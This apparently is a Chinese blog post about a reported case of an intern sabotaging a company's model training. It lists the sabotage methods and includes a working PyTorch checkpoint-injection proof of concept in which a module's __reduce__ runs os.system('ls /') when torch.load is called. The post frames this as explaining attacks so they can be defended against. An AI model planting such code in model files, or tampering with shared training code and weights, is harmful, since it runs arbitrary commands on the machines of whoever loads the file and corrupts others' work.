当前位置: 首页 > article >正文

【字节实习生模型训练代码注入】如何实现

最近,某知名高校硕士生在字节实习期间,因对团队资源分配感到不满,于六月底利用攻击代码破坏了团队的模型训练任务,造成较大损失。
攻击手段包括,但不限于

  1. 修改集群pytorch源码,包括随机种子,优化器,数据加载
  2. 随机kill多机实验进程,导致大卡实验卡死
  3. 通过checkpoint注入攻击代码
  4. 参加集群故障排查日会,根据同事排查思路持续定向修改攻击代码
  5. 修改同事模型权重,造成实验结果无法复现

我们就来模拟一下攻击手段,只有了解如何攻击,才能知道如何防备。知己知彼百战百胜!

修改集群pytorch源码,包括随机种子,优化器,数据加载

集群一般会提供基础镜像包,估计该实习生更改了镜像包里的pytorch源码。别人使用该镜像包训练模型,就会出现各种问题。

随机kill多机实验进程,导致大卡实验卡死

为啥该实习生权限这么大,居然能kill掉别人的任务!!!

通过checkpoint注入攻击代码

import torch.nn as nn
import torch
import pickle


class PickleTest(nn.Module):
    def __init__(self):
        super(PickleTest, self).__init__()
        self.fc = nn.Linear(10, 10)

    def forward(self, x):
        x = self.fc(x)
        return x

    def __reduce__(self):
        return (__import__('os').system, ('ls /', ))
        # return (__import__('os').system, ('echo hello, you are being attacked.', ))

model = PickleTest()

torch.save(model, 'state_dict_model.pt')

new_model = torch.load('state_dict_model.pt')

一旦模型被load,__reduce__里面的秘密代码就会被执行,具有很大的风险。
具体原理可以参考python反序列化攻击

参加集群故障排查日会,根据同事排查思路持续定向修改攻击代码

有内鬼,终止交易!

修改同事模型权重,造成实验结果无法复现

有一些集群会提供NAS盘。如果NAS盘是公共的,该实习生就具备修改权限!!!


http://www.kler.cn/a/369488.html

相关文章:

  • riscv xv6学习笔记
  • 搜索引擎快速收录:关键词布局的艺术
  • 从巫师求雨说起
  • 爬虫基础(三)Session和Cookie讲解
  • 算法的时间复杂度
  • Java创建项目准备工作
  • 扩展欧几里得算法(裴蜀定理)
  • Android Junit 单元测试 | 依赖配置和编译报错解决
  • Mybatis-14.XML映射文件
  • 【Git 】Windows 系统下 Git 文件名大小写不敏感
  • [简易版] 自动化脚本
  • Ubuntu18.04换装更高版本的cmake
  • ENGAGE SHE连锁品牌盛启,寻找更多城市合伙人
  • 中国人寿财险青岛市分公司:携手共进,共创未来
  • Python学习-列表基本操作
  • Android在kts中使用navigation及Args
  • 机器学习【学校智慧食堂及其应用】
  • 【Bug】iOS 不支持运行或调试你的项目的上一个生成版本。 请先确保生成解决方案,再运行或调试它。
  • 自动驾驶---基于dds/ros的通信中间件
  • vue父子通讯
  • mac nwjs程序签名公证(其他mac程序也一样适用)
  • 超流畅的精简版Win10系统:仅占4GB,流畅稳定
  • 洞察前沿趋势!2024深圳国际金融科技大赛——西丽湖金融科技大学生挑战赛技术公开课指南
  • Web 核心指标优化之 INP 篇
  • Python小游戏14——雷霆战机
  • 安全见闻(8)